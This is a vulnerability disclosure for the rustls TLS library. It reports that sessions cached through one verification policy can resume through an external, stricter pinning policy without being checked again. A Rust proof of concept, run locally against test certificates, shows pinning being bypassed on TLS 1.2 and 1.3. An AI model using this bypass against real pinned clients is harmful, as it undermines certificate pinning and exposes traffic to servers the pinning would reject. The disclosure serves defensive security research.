F10: External verification can reuse sessions from a different policy
F10: External verification can reuse sessions from a different policy
- Finding: Session policy isolation failure
- Affected Software: rustls 0.24.0-dev.1 (development snapshot
99f2358cae29), external handshake verification. - Date: September 2026
- Discoverer: OpenAI ([email protected])
Within one ClientConfig and session cache, the external handshake-verification API shares the configured verifier's session domain. If an application applies a different honest external policy, a session accepted by either route can resume through the other without applying its stricter check. Resumption intentionally skips fresh verification; the API does not state that these two policies must be equivalent or provide an external-policy domain.
Cause and prior work
Every witness uses the same Arc<ClientConfig>, with the pin included in the configured hash. No concrete-type collision is involved. Fixing implementation TypeId therefore does not address this path. #3178 adds the external-verification route; #2284 establishes cache policy separation but does not define this route's equivalence obligation.
Source: rustls/src/conn/handshake.rs.
Reproduction
For TLS 1.2 and 1.3, compare a fresh pinned handshake with resumption through one shared configuration. Test both directions: configured WebPKI seeds an externally pinned connection, and external WebPKI seeds a configuration whose verifier requires a pin. Both verifiers perform real WebPKI checks; neither fabricates success.
Use the existing rustls/ checkout at 99f2358cae29 and a standalone sibling repro/ directory outside its Cargo workspace. Save the blocks below as repro/Cargo.toml and repro/src/main.rs; run the commands from the directory containing both rustls/ and repro/.
[package]
name = "async-policy-poc"
version = "0.0.0"
edition = "2024"
[workspace]
[dependencies]
rustls = { path = "../rustls/rustls", default-features = false, features = ["webpki"] }
rustls-ring = { path = "../rustls/rustls-ring" }use std::hash::Hasher;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use rustls::client::danger::{
HandshakeSignatureValid, ServerIdentity, ServerVerifier, SignatureVerificationInput,
};
use rustls::client::{ClientHandshake, ClientSide, Resumption, WebPkiServerVerifier};
use rustls::crypto::{Identity, SignatureScheme, VerifiedIdentity};
use rustls::error::{CertificateError, Error};
use rustls::pki_types::{CertificateDer, PrivateKeyDer, pem::PemObject};
use rustls::split::{ReceiveTrafficState, SplitConnection};
use rustls::{
ClientConfig, ClientConnection, Connection, HandshakeKind, RootCertStore, ServerConfig,
ServerConnection, VecInput,
};
// This wrapper performs normal PKI checks and an additional fixed certificate pin.
// The policy lives in the implementation type; its instance configuration is `inner`.
#[derive(Debug)]
struct PinnedVerifier {
inner: Arc<WebPkiServerVerifier>,
calls: Arc<AtomicUsize>,
}
impl ServerVerifier for PinnedVerifier {
fn verify_identity<'a>(
&self,
identity: &ServerIdentity<'a, '_>,
) -> Result<VerifiedIdentity<'a>, Error> {
self.calls
.fetch_add(1, Ordering::SeqCst);
// Apply the pin only after the ordinary PKI check succeeds.
let verified = self.inner.verify_identity(identity)?;
match verified.identity() {
Identity::X509(chain)
if chain.end_entity.as_ref()
== include_bytes!("../../rustls/test-ca/ecdsa-p256/end.der") =>
{
Ok(verified)
}
_ => Err(CertificateError::ApplicationVerificationFailure.into()),
}
}
fn verify_tls12_signature(
&self,
input: &SignatureVerificationInput<'_>,
) -> Result<HandshakeSignatureValid, Error> {
self.inner.verify_tls12_signature(input)
}
fn verify_tls13_signature(
&self,
input: &SignatureVerificationInput<'_>,
) -> Result<HandshakeSignatureValid, Error> {
self.inner.verify_tls13_signature(input)
}
fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
self.inner.supported_verify_schemes()
}
fn request_ocsp_response(&self) -> bool {
self.inner.request_ocsp_response()
}
fn hash_config(&self, h: &mut dyn Hasher) {
// Include the pin explicitly; this reproduction needs no hash collision.
self.inner.hash_config(h);
h.write(include_bytes!("../../rustls/test-ca/ecdsa-p256/end.der"));
}
}
fn transfer(output: &mut Vec<u8>, input: &mut VecInput) {
let mut remaining = output.as_slice();
while !remaining.is_empty() {
assert!(input.read(&mut remaining).unwrap() > 0);
}
output.clear();
}
fn handshake(
client_config: Arc<ClientConfig>,
server_config: Arc<ServerConfig>,
) -> Result<(ClientConnection, ServerConnection), Error> {
let mut client_output = Vec::new();
let mut client = client_config
.connect("localhost".try_into().unwrap())
.build(&mut client_output)?;
let mut server = ServerConnection::new(server_config)?;
let mut client_input = VecInput::default();
let mut server_input = VecInput::default();
let mut server_output = Vec::new();
// Exchange handshake flights until the handshake completes.
for _ in 0..20 {
transfer(&mut client_output, &mut server_input);
server
.read_tls(&mut server_input, &mut server_output)
.handle_all(&mut Vec::new())?;
transfer(&mut server_output, &mut client_input);
client
.read_tls(&mut client_input, &mut client_output)
.handle_all(&mut Vec::new())?;
if !client.is_handshaking()
&& !server.is_handshaking()
&& client_output.is_empty()
&& server_output.is_empty()
{
return Ok((client, server));
}
}
panic!("handshake did not finish");
}
fn external_handshake(
client_config: Arc<ClientConfig>,
server_config: Arc<ServerConfig>,
external: &dyn ServerVerifier,
) -> Result<(SplitConnection<ClientSide>, ServerConnection, usize), Error> {
let mut client_output = Vec::new();
let mut state = ClientHandshake::NeedsInput(
client_config
.connect("localhost".try_into().unwrap())
.start_handshake(&mut client_output)?,
);
let mut server = ServerConnection::new(server_config)?;
let mut client_input = VecInput::default();
let mut server_input = VecInput::default();
let mut server_output = Vec::new();
let mut checks = 0;
// Exchange handshake flights until the handshake completes.
for _ in 0..20 {
transfer(&mut client_output, &mut server_input);
server
.read_tls(&mut server_input, &mut server_output)
.handle_all(&mut Vec::new())?;
transfer(&mut server_output, &mut client_input);
// Advance every local handshake state before waiting for another server flight.
loop {
state = match state {
ClientHandshake::NeedsInput(needs) => {
let next = needs.process(&mut client_input, &mut client_output)?;
if matches!(next, ClientHandshake::NeedsInput(_)) {
state = next;
break;
}
next
}
ClientHandshake::VerifyServerIdentity(verify) => {
// Use the supplied external policy only when the handshake requests verification.
checks += 1;
let result = external
.verify_identity(&verify.presented_identity()?)
.map(VerifiedIdentity::into_owned);
verify.continue_with(result, &mut client_output)?
}
ClientHandshake::Complete(mut split) => {
// Deliver the final flight and process tickets so the shared cache is seeded.
transfer(&mut client_output, &mut server_input);
server
.read_tls(&mut server_input, &mut server_output)
.handle_all(&mut Vec::new())?;
transfer(&mut server_output, &mut client_input);
split.receive = match split.receive.read(&mut client_input)? {
ReceiveTrafficState::ReadMore(receive) => receive,
_ => panic!("unexpected application data or closure"),
};
assert!(!server.is_handshaking());
return Ok((split, server, checks));
}
_ => panic!("unknown handshake state"),
};
}
}
panic!("handshake did not finish");
}
fn main() {
for (name, provider) in [
("TLS1.2", rustls_ring::DEFAULT_TLS12_PROVIDER),
("TLS1.3", rustls_ring::DEFAULT_TLS13_PROVIDER),
] {
// Trust both fixture CAs; the extra pin, not ordinary PKI, distinguishes the policies.
let provider = Arc::new(provider);
let mut roots = RootCertStore::empty();
for der in [
include_bytes!("../../rustls/test-ca/rsa-2048/ca.der").as_slice(),
include_bytes!("../../rustls/test-ca/ecdsa-p256/ca.der").as_slice(),
] {
roots
.add(CertificateDer::from(der))
.unwrap();
}
// Build ordinary PKI and a stricter pin from the same trust roots.
let broad = Arc::new(
WebPkiServerVerifier::builder(Arc::new(roots), &provider)
.build()
.unwrap(),
);
let calls = Arc::new(AtomicUsize::new(0));
let pinned = Arc::new(PinnedVerifier {
inner: broad.clone(),
calls,
});
// The RSA server is PKI-valid but fails the fixed ECDSA pin.
let certs = CertificateDer::pem_slice_iter(include_bytes!(
"../../rustls/test-ca/rsa-2048/end.fullchain"
))
.map(Result::unwrap)
.collect();
let key =
PrivateKeyDer::from_pem_slice(include_bytes!("../../rustls/test-ca/rsa-2048/end.key"))
.unwrap();
let server = Arc::new(
ServerConfig::builder(provider.clone())
.with_no_client_auth()
.with_single_cert(Arc::new(Identity::from_cert_chain(certs).unwrap()), key)
.unwrap(),
);
// Scenario A: normal broad verification seeds a config used later with a
// stricter asynchronous policy. The same Arc<ClientConfig> is reused.
let config = Arc::new(
ClientConfig::builder(provider.clone())
.dangerous()
.with_custom_certificate_verifier(broad.clone())
.with_no_client_auth()
.unwrap(),
);
// A fresh connection establishes that the pinned route rejects this server.
let mut no_cache = (*config).clone();
no_cache.resumption = Resumption::disabled();
let rejection = external_handshake(Arc::new(no_cache), server.clone(), pinned.as_ref());
assert!(matches!(
rejection,
Err(Error::InvalidCertificate(
CertificateError::ApplicationVerificationFailure
))
));
println!("{name} A: fresh external pinning rejects the unpinned certificate");
// Seed the cache through the broader route and resume through external pinning.
handshake(config.clone(), server.clone()).unwrap();
let (mut resumed, mut peer, checks) =
external_handshake(config, server.clone(), pinned.as_ref()).unwrap();
assert_eq!(
resumed.outputs.handshake_kind(),
Some(HandshakeKind::Resumed)
);
assert_eq!(checks, 0);
// Check the consequence by delivering application bytes to the rejected identity.
let secret = b"secret requiring the external pinning policy";
let mut encrypted = Vec::new();
resumed
.send
.write(secret.as_slice().into(), &mut encrypted)
.unwrap();
let mut input = VecInput::default();
transfer(&mut encrypted, &mut input);
let mut received = Vec::new();
peer.read_tls(&mut input, &mut Vec::new())
.handle_all(&mut received)
.unwrap();
assert_eq!(received, secret);
println!(
"{name} A: external-verification state skipped on resumption; peer received {} secret bytes",
received.len()
);
// Scenario B: external normal WebPKI verification overrides configured
// pinning once; later normal use of that identical config resumes it.
let config = Arc::new(
ClientConfig::builder(provider.clone())
.dangerous()
.with_custom_certificate_verifier(pinned.clone())
.with_no_client_auth()
.unwrap(),
);
// A fresh connection establishes that the pinned route rejects this server.
let mut no_cache = (*config).clone();
no_cache.resumption = Resumption::disabled();
assert!(matches!(
handshake(Arc::new(no_cache), server.clone()),
Err(Error::InvalidCertificate(
CertificateError::ApplicationVerificationFailure
))
));
// Seed through external PKI, then resume using the configured pinned verifier.
let (seed, _, checks) =
external_handshake(config.clone(), server.clone(), broad.as_ref()).unwrap();
assert_eq!(seed.outputs.handshake_kind(), Some(HandshakeKind::Full));
assert_eq!(checks, 1);
let (mut resumed, mut peer) = handshake(config, server.clone()).unwrap();
assert_eq!(resumed.handshake_kind(), Some(HandshakeKind::Resumed));
let mut encrypted = Vec::new();
resumed
.write(secret.as_slice().into(), &mut encrypted)
.unwrap();
let mut input = VecInput::default();
transfer(&mut encrypted, &mut input);
let mut received = Vec::new();
peer.read_tls(&mut input, &mut Vec::new())
.handle_all(&mut received)
.unwrap();
assert_eq!(received, secret);
println!(
"{name} B: normal configured pinning skipped after external verification seeded same cache; peer received {} secret bytes",
received.len()
);
}
}cargo +1.98.1 run --release --manifest-path repro/Cargo.tomlResult
In all four protocol/direction cases, fresh pinning rejected the wrong certificate, while resumption skipped the stricter check and transferred 44 bytes. This does not affect applications that consistently apply one policy per session domain.
This is an API-contract/isolation hazard, not a promise to enforce arbitrary per-request authorization.
Suggested correction
Either represent the external policy in session isolation, or explicitly require equivalence with the configured policy and provide a clear separate-cache/resumption-disabled route for different policies. A precise supported restriction is a proportionate fix.
Disclaimer
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
Source: rustls/rustls